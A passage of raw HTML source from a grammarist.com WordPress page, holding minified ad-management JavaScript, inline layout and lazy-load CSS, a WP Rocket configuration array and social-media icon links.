r[0]==`string`&&i.push(r.shift()),a.push(...r);try{Function.prototype.apply.call(e,console,[i.join(``),...a])}catch(e){console.error(e);return}}},n=()=>window.adthriveCLS,r={Below_Post_1:`Below_Post_1`,Below_Post:`Below_Post`,Content:`Content`,Content_1:`Content_1`,Content_2:`Content_2`,Content_3:`Content_3`,Content_4:`Content_4`,Content_5:`Content_5`,Content_6:`Content_6`,Content_7:`Content_7`,Content_8:`Content_8`,Content_9:`Content_9`,Recipe:`Recipe`,Recipe_1:`Recipe_1`,Recipe_2:`Recipe_2`,Recipe_3:`Recipe_3`,Recipe_4:`Recipe_4`,Recipe_5:`Recipe_5`,Native_Recipe:`Native_Recipe`,Footer_1:`Footer_1`,Footer:`Footer`,Header_1:`Header_1`,Header_2:`Header_2`,Header:`Header`,Sidebar_1:`Sidebar_1`,Sidebar_2:`Sidebar_2`,Sidebar_3:`Sidebar_3`,Sidebar_4:`Sidebar_4`,Sidebar_5:`Sidebar_5`,Sidebar_9:`Sidebar_9`,Sidebar:`Sidebar`,Interstitial_1:`Interstitial_1`,Interstitial:`Interstitial`,Video_StickyOutstream_1:`Video_StickyOutstream_1`,Video_StickyOutstream:`Video_StickyOutstream`,Video_StickyInstream:`Video_StickyInstream`,Sponsor_Tile:`Sponsor_Tile`},i=e=>{let t=window.location.href;return e.some(e=>new RegExp(e,`i`).test(t))};function a(e){"@babel/helpers - typeof";return a=typeof Symbol==`function`&&typeof Symbol.iterator==`symbol`?function(e){return typeof e}:function(e){return e&&typeof Symbol==`function`&&e.constructor===Symbol&&e!==Symbol.prototype?`symbol`:typeof e},a(e)}function o(e,t){if(a(e)!=`object`||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t||`default`);if(a(r)!=`object`)return r;throw TypeError(`@@toPrimitive must return a primitive value.`)}return(t===`string`?String:Number)(e)}function s(e){var t=o(e,`string`);return a(t)==`symbol`?t:t+``}function c(e,t,n){return(t=s(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var l=class{constructor(e){this.adthrive=e,c(this,`all`,!1),c(this,`content`,!1),c(this,`recipe`,!1),c(this,`video`,!1),c(this,`locations`,new Set),c(this,`reasons`,new Set),(this.urlHasEmail(window.location.href)||this.urlHasEmail(window.document.referrer))&&(this.all=!0,this.reasons.add(`all_email`));try{this.checkCommandQueue()}catch(e){t.error(`ClsDisableAds`,`checkCommandQueue`,e)}}checkCommandQueue(){this.adthrive&&this.adthrive.cmd&&this.adthrive.cmd.forEach(e=>{let t=e.toString(),n=this.extractAPICall(t,`disableAds`);n&&this.disableAllAds(this.extractPatterns(n));let r=this.extractAPICall(t,`disableContentAds`);r&&this.disableContentAds(this.extractPatterns(r));let i=this.extractAPICall(t,`disablePlaylistPlayers`);i&&this.disablePlaylistPlayers(this.extractPatterns(i))})}extractPatterns(e){let t=e.match(/["'](.*?)['"]/g);if(t!==null)return t.map(e=>e.replace(/["']/g,``))}extractAPICall(e,t){let n=RegExp(t+`\\((.*?)\\)`,`g`),r=e.match(n);return r===null?!1:r[0]}disableAllAds(e){(!e||i(e))&&(this.all=!0,this.reasons.add(`all_page`))}disableContentAds(e){(!e||i(e))&&(this.content=!0,this.recipe=!0,this.locations.add(r.Content),this.locations.add(r.Recipe),this.reasons.add(`content_plugin`))}disablePlaylistPlayers(e){(!e||i(e))&&(this.video=!0,this.locations.add(`Video`),this.reasons.add(`video_page`))}urlHasEmail(e){return e?/([A-Z0-9._%+-]+(@|%(25)*40)[A-Z0-9.-]+\.[A-Z]{2,})/i.exec(e)!==null:!1}};let u=n();return u&&(u.disableAds=new l(window.adthrive)),e.ClsDisableAds=l,e})({});</script>
1046<noscript><style id="rocket-lazyload-nojs-css">.rll-youtube-player, [data-lazy-src]{display:none !important;}</style></noscript><style id="wp-interactivity-router-animations-inline-css">
1047			.wp-interactivity-router-loading-bar {
1048				position: fixed;
1049				top: 0;
1050				left: 0;
1051				margin: 0;
1052				padding: 0;
1053				width: 100vw;
1054				max-width: 100vw !important;
1055				height: 4px;
1056				background-color: #000;
1057				opacity: 0
1058			}
1059			.wp-interactivity-router-loading-bar.start-animation {
1060				animation: wp-interactivity-router-loading-bar-start-animation 30s cubic-bezier(0.03, 0.5, 0, 1) forwards
1061			}
1062			.wp-interactivity-router-loading-bar.finish-animation {
1063				animation: wp-interactivity-router-loading-bar-finish-animation 300ms ease-in
1064			}
1065			@keyframes wp-interactivity-router-loading-bar-start-animation {
1066				0% { transform: scaleX(0); transform-origin: 0 0; opacity: 1 }
1067				100% { transform: scaleX(1); transform-origin: 0 0; opacity: 1 }
1068			}
1069			@keyframes wp-interactivity-router-loading-bar-finish-animation {
1070				0% { opacity: 1 }
1071				50% { opacity: 1 }
1072				100% { opacity: 0 }
1073			}
1074/*# sourceURL=wp-interactivity-router-animations-inline-css */
1075</style>
1076<style id="core-block-supports-inline-css">
1077.wp-container-core-group-is-layout-e1019195{flex-wrap:nowrap;}.wp-container-content-e0b89f81{flex-basis:250px;}.wp-container-core-group-is-layout-57435d76{justify-content:space-between;}.wp-container-surecart-product-list-filter-tags-is-layout-28737005{flex-wrap:nowrap;align-items:flex-start;}.wp-container-core-group-is-layout-2194deb0{flex-wrap:nowrap;}.wp-container-core-cover-is-layout-995e605f > *{margin-block-start:0;margin-block-end:0;}.wp-container-core-cover-is-layout-995e605f > * + *{margin-block-start:0;margin-block-end:0;}.wp-container-content-5dc44c30{grid-row:span 1;}.wp-container-core-group-is-layout-c603440f > .alignfull{margin-right:calc(0px * -1);margin-left:calc(0px * -1);}.wp-container-core-group-is-layout-c603440f > *{margin-block-start:0;margin-block-end:0;}.wp-container-core-group-is-layout-c603440f > * + *{margin-block-start:0;margin-block-end:0;}.wp-container-core-group-is-layout-ed4d4cad{flex-wrap:nowrap;gap:0.5em;}.wp-container-core-group-is-layout-b102d036{grid-template-columns:repeat(auto-fill, minmax(min(12rem, 100%), 1fr));container-type:inline-size;}.wp-container-surecart-product-template-is-layout-ebc7a09b{grid-template-columns:repeat(3, minmax(0, 1fr));gap:36px;}.wp-elements-1 a:where(:not(.wp-element-button)){color:#000000;}.wp-container-surecart-product-list-is-layout-4ddb2dc5 > *{margin-block-start:0;margin-block-end:0;}.wp-container-surecart-product-list-is-layout-4ddb2dc5 > * + *{margin-block-start:10px;margin-block-end:0;}
1078/*# sourceURL=core-block-supports-inline-css */
1079</style>
1080
1081<style id="wpr-lazyload-bg-container"></style><style id="wpr-lazyload-bg-exclusion"></style>
1082<noscript>
1083<style id="wpr-lazyload-bg-nostyle">#convertkit-restrict-content-modal-loading{--wpr-bg-e00eca2b-af3f-481c-abbf-d6c2bc347564: url('https://grammarist.com/wp-content/plugins/convertkit/resources/frontend/images/spinner.gif');}.convertkit-broadcasts.convertkit-broadcasts-loading{--wpr-bg-850779fd-a95c-482b-894a-4639c3613d57: url('https://grammarist.com/wp-content/plugins/convertkit/resources/frontend/images/spinner.gif');}.editor-styles-wrapper .convertkit-broadcasts.convertkit-broadcasts-loading{--wpr-bg-37197872-1294-48c8-b424-3a1bd33fa128: url('https://grammarist.com/wp-content/plugins/convertkit/resources/frontend/images/spinner.gif');}.convertkit-restrict-content-notice{--wpr-bg-c86b6379-f253-454d-b06e-4979531a3d21: url('https://grammarist.com/wp-content/plugins/convertkit/resources/frontend/images/error.svg');}form.convertkit-restrict-content-form div#convertkit-restrict-content-email-field{--wpr-bg-d390ac98-47b4-4a8a-b93f-47fb1d3395f3: url('https://grammarist.com/wp-content/plugins/convertkit/resources/frontend/images/email.svg');}#convertkit-restrict-content-modal #convertkit-restrict-content-modal-close{--wpr-bg-5fe0276d-a623-4b66-8828-b80d071bbf5e: url('https://grammarist.com/wp-content/plugins/convertkit/resources/frontend/images/cross.svg');}.dlm-filetype-pdf{--wpr-bg-c23fa6e5-85a3-4e8b-8d93-f7090e831b1d: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-pdf.png');}.dlm-filetype-aif,.dlm-filetype-aifc,.dlm-filetype-aiff,.dlm-filetype-au,.dlm-filetype-kar,.dlm-filetype-m3u,.dlm-filetype-m4r,.dlm-filetype-mid,.dlm-filetype-midi,.dlm-filetype-mp2,.dlm-filetype-mp3,.dlm-filetype-mpga,.dlm-filetype-ra,.dlm-filetype-ram,.dlm-filetype-rm,.dlm-filetype-rpm,.dlm-filetype-snd,.dlm-filetype-wav,.dlm-filetype-wave{--wpr-bg-b9cb103b-bc4b-4c34-bf0a-4f54e0122395: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-music.png');}.dlm-filetype-avi,.dlm-filetype-divx,.dlm-filetype-mov,.dlm-filetype-movie,.dlm-filetype-mp4,.dlm-filetype-mpe,.dlm-filetype-mpeg,.dlm-filetype-mpg,.dlm-filetype-mxu,.dlm-filetype-qt,.dlm-filetype-wmv{--wpr-bg-ad96b123-6124-4a61-a365-79aa6e194629: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-film.png');}.dlm-filetype-7z,.dlm-filetype-gz,.dlm-filetype-rar,.dlm-filetype-sit,.dlm-filetype-tar,.dlm-filetype-zip{--wpr-bg-a9cf0b04-8712-4357-a13d-a032c1222e30: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-zipper.png');}.dlm-filetype-csv,.dlm-filetype-tsv,.dlm-filetype-xls,.dlm-filetype-xlsx{--wpr-bg-272cb845-0557-4e88-8388-b4ccc739e100: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-excel.png');}.dlm-filetype-doc,.dlm-filetype-docx{--wpr-bg-2e6ea13c-0cc8-4f7b-b20a-c29de46fd4a4: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-word-text.png');}.dlm-filetype-ai{--wpr-bg-7fe699f0-11ad-40ca-af27-db8c6f78b571: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-illustrator.png');}.dlm-filetype-swf{--wpr-bg-e1e0657c-97d0-49c1-a3f5-fc4f4f67e675: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-flash-movie.png');}.dlm-filetype-bmp,.dlm-filetype-djv,.dlm-filetype-eps,.dlm-filetype-gif,.dlm-filetype-ief,.dlm-filetype-jpe,.dlm-filetype-jpeg,.dlm-filetype-jpg,.dlm-filetype-pbm,.dlm-filetype-pgm,.dlm-filetype-png,.dlm-filetype-pnm,.dlm-filetype-ppm,.dlm-filetype-ps,.dlm-filetype-ras,.dlm-filetype-rgb,.dlm-filetype-tif,.dlm-filetype-tiff,.dlm-filetype-wbmp,.dlm-filetype-xbm,.dlm-filetype-xpm,.dlm-filetype-xwd{--wpr-bg-24c953d1-4029-43fe-817a-2cc92845a472: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-image.png');}.dlm-filetype-psd{--wpr-bg-7008b5a5-41a4-4635-b48f-7a03d4f470ca: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-photoshop.png');}.dlm-filetype-ppt,.dlm-filetype-pptx{--wpr-bg-22ef8370-5ff3-4469-8d25-e598c86e1c36: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-powerpoint.png');}.dlm-filetype-as,.dlm-filetype-css,.dlm-filetype-htaccess,.dlm-filetype-htm,.dlm-filetype-html,.dlm-filetype-js,.dlm-filetype-php,.dlm-filetype-sql,.dlm-filetype-xml,.dlm-filetype-xsl{--wpr-bg-8fef1541-8c66-40c8-91d0-a8fa10c752b7: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-code.png');}.dlm-filetype-rtf,.dlm-filetype-rtx{--wpr-bg-2dbb8256-101b-428f-9434-a6b83e06a7c6: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-text-image.png');}.dlm-filetype-txt{--wpr-bg-b9a60b8d-16fb-4eb7-b0f9-5f41b4787a2e: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-text.png');}.gbp-section-bg-img-overlay{--wpr-bg-cd209606-6dd4-4107-bce7-380a9c5f7aa9: url('https://patterns.generateblocks.com/wp-content/uploads/2023/08/placeholder1280x720.png');}.gb-container-8ea0a712:before{--wpr-bg-af15c4b0-b583-4519-b9bc-4b284152c7be: url('https://grammarist.com/wp-content/uploads/2021/01/abstract-shapes.svg');}</style>
1084</noscript>
1085<script type="application/javascript">const rocket_pairs = [{"selector":"#convertkit-restrict-content-modal-loading","style":"#convertkit-restrict-content-modal-loading{--wpr-bg-e00eca2b-af3f-481c-abbf-d6c2bc347564: url('https:\/\/grammarist.com\/wp-content\/plugins\/convertkit\/resources\/frontend\/images\/spinner.gif');}","hash":"e00eca2b-af3f-481c-abbf-d6c2bc347564","url":"https:\/\/grammarist.com\/wp-content\/plugins\/convertkit\/resources\/frontend\/images\/spinner.gif"},{"selector":".convertkit-broadcasts.convertkit-broadcasts-loading","style":".convertkit-broadcasts.convertkit-broadcasts-loading{--wpr-bg-850779fd-a95c-482b-894a-4639c3613d57: url('https:\/\/grammarist.com\/wp-content\/plugins\/convertkit\/resources\/frontend\/images\/spinner.gif');}","hash":"850779fd-a95c-482b-894a-4639c3613d57","url":"https:\/\/grammarist.com\/wp-content\/plugins\/convertkit\/resources\/frontend\/images\/spinner.gif"},{"selector":".editor-styles-wrapper .convertkit-broadcasts.convertkit-broadcasts-loading","style":".editor-styles-wrapper .convertkit-broadcasts.convertkit-broadcasts-loading{--wpr-bg-37197872-1294-48c8-b424-3a1bd33fa128: url('https:\/\/grammarist.com\/wp-content\/plugins\/convertkit\/resources\/frontend\/images\/spinner.gif');}","hash":"37197872-1294-48c8-b424-3a1bd33fa128","url":"https:\/\/grammarist.com\/wp-content\/plugins\/convertkit\/resources\/frontend\/images\/spinner.gif"},{"selector":".convertkit-restrict-content-notice","style":".convertkit-restrict-content-notice{--wpr-bg-c86b6379-f253-454d-b06e-4979531a3d21: url('https:\/\/grammarist.com\/wp-content\/plugins\/convertkit\/resources\/frontend\/images\/error.svg');}","hash":"c86b6379-f253-454d-b06e-4979531a3d21","url":"https:\/\/grammarist.com\/wp-content\/plugins\/convertkit\/resources\/frontend\/images\/error.svg"},{"selector":"form.convertkit-restrict-content-form div#convertkit-restrict-content-email-field","style":"form.convertkit-restrict-content-form div#convertkit-restrict-content-email-field{--wpr-bg-d390ac98-47b4-4a8a-b93f-47fb1d3395f3: url('https:\/\/grammarist.com\/wp-content\/plugins\/convertkit\/resources\/frontend\/images\/email.svg');}","hash":"d390ac98-47b4-4a8a-b93f-47fb1d3395f3","url":"https:\/\/grammarist.com\/wp-content\/plugins\/convertkit\/resources\/frontend\/images\/email.svg"},{"selector":"#convertkit-restrict-content-modal #convertkit-restrict-content-modal-close","style":"#convertkit-restrict-content-modal #convertkit-restrict-content-modal-close{--wpr-bg-5fe0276d-a623-4b66-8828-b80d071bbf5e: url('https:\/\/grammarist.com\/wp-content\/plugins\/convertkit\/resources\/frontend\/images\/cross.svg');}","hash":"5fe0276d-a623-4b66-8828-b80d071bbf5e","url":"https:\/\/grammarist.com\/wp-content\/plugins\/convertkit\/resources\/frontend\/images\/cross.svg"},{"selector":".dlm-filetype-pdf","style":".dlm-filetype-pdf{--wpr-bg-c23fa6e5-85a3-4e8b-8d93-f7090e831b1d: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-pdf.png');}","hash":"c23fa6e5-85a3-4e8b-8d93-f7090e831b1d","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-pdf.png"},{"selector":".dlm-filetype-aif,.dlm-filetype-aifc,.dlm-filetype-aiff,.dlm-filetype-au,.dlm-filetype-kar,.dlm-filetype-m3u,.dlm-filetype-m4r,.dlm-filetype-mid,.dlm-filetype-midi,.dlm-filetype-mp2,.dlm-filetype-mp3,.dlm-filetype-mpga,.dlm-filetype-ra,.dlm-filetype-ram,.dlm-filetype-rm,.dlm-filetype-rpm,.dlm-filetype-snd,.dlm-filetype-wav,.dlm-filetype-wave","style":".dlm-filetype-aif,.dlm-filetype-aifc,.dlm-filetype-aiff,.dlm-filetype-au,.dlm-filetype-kar,.dlm-filetype-m3u,.dlm-filetype-m4r,.dlm-filetype-mid,.dlm-filetype-midi,.dlm-filetype-mp2,.dlm-filetype-mp3,.dlm-filetype-mpga,.dlm-filetype-ra,.dlm-filetype-ram,.dlm-filetype-rm,.dlm-filetype-rpm,.dlm-filetype-snd,.dlm-filetype-wav,.dlm-filetype-wave{--wpr-bg-b9cb103b-bc4b-4c34-bf0a-4f54e0122395: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-music.png');}","hash":"b9cb103b-bc4b-4c34-bf0a-4f54e0122395","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-music.png"},{"selector":".dlm-filetype-avi,.dlm-filetype-divx,.dlm-filetype-mov,.dlm-filetype-movie,.dlm-filetype-mp4,.dlm-filetype-mpe,.dlm-filetype-mpeg,.dlm-filetype-mpg,.dlm-filetype-mxu,.dlm-filetype-qt,.dlm-filetype-wmv","style":".dlm-filetype-avi,.dlm-filetype-divx,.dlm-filetype-mov,.dlm-filetype-movie,.dlm-filetype-mp4,.dlm-filetype-mpe,.dlm-filetype-mpeg,.dlm-filetype-mpg,.dlm-filetype-mxu,.dlm-filetype-qt,.dlm-filetype-wmv{--wpr-bg-ad96b123-6124-4a61-a365-79aa6e194629: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-film.png');}","hash":"ad96b123-6124-4a61-a365-79aa6e194629","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-film.png"},{"selector":".dlm-filetype-7z,.dlm-filetype-gz,.dlm-filetype-rar,.dlm-filetype-sit,.dlm-filetype-tar,.dlm-filetype-zip","style":".dlm-filetype-7z,.dlm-filetype-gz,.dlm-filetype-rar,.dlm-filetype-sit,.dlm-filetype-tar,.dlm-filetype-zip{--wpr-bg-a9cf0b04-8712-4357-a13d-a032c1222e30: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-zipper.png');}","hash":"a9cf0b04-8712-4357-a13d-a032c1222e30","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-zipper.png"},{"selector":".dlm-filetype-csv,.dlm-filetype-tsv,.dlm-filetype-xls,.dlm-filetype-xlsx","style":".dlm-filetype-csv,.dlm-filetype-tsv,.dlm-filetype-xls,.dlm-filetype-xlsx{--wpr-bg-272cb845-0557-4e88-8388-b4ccc739e100: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-excel.png');}","hash":"272cb845-0557-4e88-8388-b4ccc739e100","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-excel.png"},{"selector":".dlm-filetype-doc,.dlm-filetype-docx","style":".dlm-filetype-doc,.dlm-filetype-docx{--wpr-bg-2e6ea13c-0cc8-4f7b-b20a-c29de46fd4a4: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-word-text.png');}","hash":"2e6ea13c-0cc8-4f7b-b20a-c29de46fd4a4","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-word-text.png"},{"selector":".dlm-filetype-ai","style":".dlm-filetype-ai{--wpr-bg-7fe699f0-11ad-40ca-af27-db8c6f78b571: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-illustrator.png');}","hash":"7fe699f0-11ad-40ca-af27-db8c6f78b571","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-illustrator.png"},{"selector":".dlm-filetype-swf","style":".dlm-filetype-swf{--wpr-bg-e1e0657c-97d0-49c1-a3f5-fc4f4f67e675: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-flash-movie.png');}","hash":"e1e0657c-97d0-49c1-a3f5-fc4f4f67e675","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-flash-movie.png"},{"selector":".dlm-filetype-bmp,.dlm-filetype-djv,.dlm-filetype-eps,.dlm-filetype-gif,.dlm-filetype-ief,.dlm-filetype-jpe,.dlm-filetype-jpeg,.dlm-filetype-jpg,.dlm-filetype-pbm,.dlm-filetype-pgm,.dlm-filetype-png,.dlm-filetype-pnm,.dlm-filetype-ppm,.dlm-filetype-ps,.dlm-filetype-ras,.dlm-filetype-rgb,.dlm-filetype-tif,.dlm-filetype-tiff,.dlm-filetype-wbmp,.dlm-filetype-xbm,.dlm-filetype-xpm,.dlm-filetype-xwd","style":".dlm-filetype-bmp,.dlm-filetype-djv,.dlm-filetype-eps,.dlm-filetype-gif,.dlm-filetype-ief,.dlm-filetype-jpe,.dlm-filetype-jpeg,.dlm-filetype-jpg,.dlm-filetype-pbm,.dlm-filetype-pgm,.dlm-filetype-png,.dlm-filetype-pnm,.dlm-filetype-ppm,.dlm-filetype-ps,.dlm-filetype-ras,.dlm-filetype-rgb,.dlm-filetype-tif,.dlm-filetype-tiff,.dlm-filetype-wbmp,.dlm-filetype-xbm,.dlm-filetype-xpm,.dlm-filetype-xwd{--wpr-bg-24c953d1-4029-43fe-817a-2cc92845a472: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-image.png');}","hash":"24c953d1-4029-43fe-817a-2cc92845a472","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-image.png"},{"selector":".dlm-filetype-psd","style":".dlm-filetype-psd{--wpr-bg-7008b5a5-41a4-4635-b48f-7a03d4f470ca: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-photoshop.png');}","hash":"7008b5a5-41a4-4635-b48f-7a03d4f470ca","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-photoshop.png"},{"selector":".dlm-filetype-ppt,.dlm-filetype-pptx","style":".dlm-filetype-ppt,.dlm-filetype-pptx{--wpr-bg-22ef8370-5ff3-4469-8d25-e598c86e1c36: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-powerpoint.png');}","hash":"22ef8370-5ff3-4469-8d25-e598c86e1c36","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-powerpoint.png"},{"selector":".dlm-filetype-as,.dlm-filetype-css,.dlm-filetype-htaccess,.dlm-filetype-htm,.dlm-filetype-html,.dlm-filetype-js,.dlm-filetype-php,.dlm-filetype-sql,.dlm-filetype-xml,.dlm-filetype-xsl","style":".dlm-filetype-as,.dlm-filetype-css,.dlm-filetype-htaccess,.dlm-filetype-htm,.dlm-filetype-html,.dlm-filetype-js,.dlm-filetype-php,.dlm-filetype-sql,.dlm-filetype-xml,.dlm-filetype-xsl{--wpr-bg-8fef1541-8c66-40c8-91d0-a8fa10c752b7: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-code.png');}","hash":"8fef1541-8c66-40c8-91d0-a8fa10c752b7","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-code.png"},{"selector":".dlm-filetype-rtf,.dlm-filetype-rtx","style":".dlm-filetype-rtf,.dlm-filetype-rtx{--wpr-bg-2dbb8256-101b-428f-9434-a6b83e06a7c6: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-text-image.png');}","hash":"2dbb8256-101b-428f-9434-a6b83e06a7c6","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-text-image.png"},{"selector":".dlm-filetype-txt","style":".dlm-filetype-txt{--wpr-bg-b9a60b8d-16fb-4eb7-b0f9-5f41b4787a2e: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-text.png');}","hash":"b9a60b8d-16fb-4eb7-b0f9-5f41b4787a2e","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-text.png"},{"selector":".gbp-section-bg-img-overlay","style":".gbp-section-bg-img-overlay{--wpr-bg-cd209606-6dd4-4107-bce7-380a9c5f7aa9: url('https:\/\/patterns.generateblocks.com\/wp-content\/uploads\/2023\/08\/placeholder1280x720.png');}","hash":"cd209606-6dd4-4107-bce7-380a9c5f7aa9","url":"https:\/\/patterns.generateblocks.com\/wp-content\/uploads\/2023\/08\/placeholder1280x720.png"},{"selector":".gb-container-8ea0a712","style":".gb-container-8ea0a712:before{--wpr-bg-af15c4b0-b583-4519-b9bc-4b284152c7be: url('https:\/\/grammarist.com\/wp-content\/uploads\/2021\/01\/abstract-shapes.svg');}","hash":"af15c4b0-b583-4519-b9bc-4b284152c7be","url":"https:\/\/grammarist.com\/wp-content\/uploads\/2021\/01\/abstract-shapes.svg"}]; const rocket_excluded_pairs = [];</script>
1085<meta name="generator" content="WP Rocket 3.23.3.3" data-wpr-features="wpr_lazyload_css_bg_img wpr_delay_js wpr_minify_js wpr_lazyload_images wpr_lazyload_iframes wpr_preconnect_external_domains wpr_oci wpr_minify_css wpr_cdn wpr_preload_links wpr_desktop" /></head>
1086
1087<body class="wp-singular page-template-default page page-id-108520 wp-embed-responsive wp-theme-generatepress wp-child-theme-generatepress_child post-image-aligned-center secondary-nav-below-header secondary-nav-aligned-right slideout-enabled slideout-mobile sticky-menu-fade has-grow-sidebar surecart-theme-light adthrive-disable-all adthrive-disable-content adthrive-disable-video no-sidebar nav-below-header separate-containers header-aligned-left dropdown-hover" itemtype="https://schema.org/WebPage" itemscope>
1088	<a class="screen-reader-text skip-link" href="#content" title="Skip to content">Skip to content</a><div  class="gb-container gb-container-0a346947">
1089<section  class="gb-container gb-container-8c385b01 hide-on-mobile">
1090<div  class="gb-container gb-container-a82c9764">
1091
1092<a class="gb-button gb-button-01bbe773" href="https://twitter.com/_grammarist" target="_blank" rel="noopener noreferrer"><span class="gb-icon"><svg fill="#000000" width="800px" height="800px" viewBox="0 0 20 20" xmlns="http://www.w3.org/2000/svg"><path d="M10 .4C4.698.4.4 4.698.4 10s4.298 9.6 9.6 9.6 9.6-4.298 9.6-9.6S15.302.4 10 .4zm3.905 7.864c.004.082.005.164.005.244 0 2.5-1.901 5.381-5.379 5.381a5.335 5.335 0 0 1-2.898-.85c.147.018.298.025.451.025.886 0 1.701-.301 2.348-.809a1.895 1.895 0 0 1-1.766-1.312 1.9 1.9 0 0 0 .853-.033 1.892 1.892 0 0 1-1.517-1.854v-.023c.255.141.547.227.857.237a1.89 1.89 0 0 1-.585-2.526 5.376 5.376 0 0 0 3.897 1.977 1.891 1.891 0 0 1 3.222-1.725 3.797 3.797 0 0 0 1.2-.459 1.9 1.9 0 0 1-.831 1.047 3.799 3.799 0 0 0 1.086-.299 3.834 3.834 0 0 1-.943.979z"></path></svg></span></a>
1093
1094
1095
1096<a class="gb-button gb-button-9dde952b" href="https://www.facebook.com/grammaristweb/" target="_blank" rel="noopener noreferrer"><span class="gb-icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" height="800px" width="800px" fill="#000000"> <path d="M12 2.03998C6.5 2.03998 2 6.52998 2 12.06C2 17.06 5.66 21.21 10.44 21.96V14.96H7.9V12.06H10.44V9.84998C10.44 7.33998 11.93 5.95998 14.22 5.95998C15.31 5.95998 16.45 6.14998 16.45 6.14998V8.61998H15.19C13.95 8.61998 13.56 9.38998 13.56 10.18V12.06H16.34L15.89 14.96H13.56V21.96C15.9164 21.5878 18.0622 20.3855 19.6099 18.57C21.1576 16.7546 22.0054 14.4456 22 12.06C22 6.52998 17.5 2.03998 12 2.03998Z"></path> </svg></span></a>
1097
1098
1099
1100<a class="gb-button gb-button-55c4bdb9" href="https://www.youtube.com/channel/UCFhPTWXjPIw1qlZ0mhWCQtQ" target="_blank" rel="noopener noreferrer"><span class="gb-icon"><svg xml:space="preserve" viewBox="-143 145 512 512" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns="http://www.w3.org/2000/svg" id="Layer_1" version="1.1" width="800px" height="800px" fill="#000000"> <g> 	<polygon points="78.9,450.3 162.7,401.1 78.9,351.9"></polygon> 	<path d="M113,145c-141.4,0-256,114.6-256,256s114.6,256,256,256s256-114.6,256-256S254.4,145,113,145z M241,446.8L241,446.8 		c0,44.1-44.1,44.1-44.1,44.1H29.1c-44.1,0-44.1-44.1-44.1-44.1v-91.5c0-44.1,44.1-44.1,44.1-44.1h167.8c44.1,0,44.1,44.1,44.1,44.1 		V446.8z"></path> </g> </svg></span></a>
1101
1102
1103
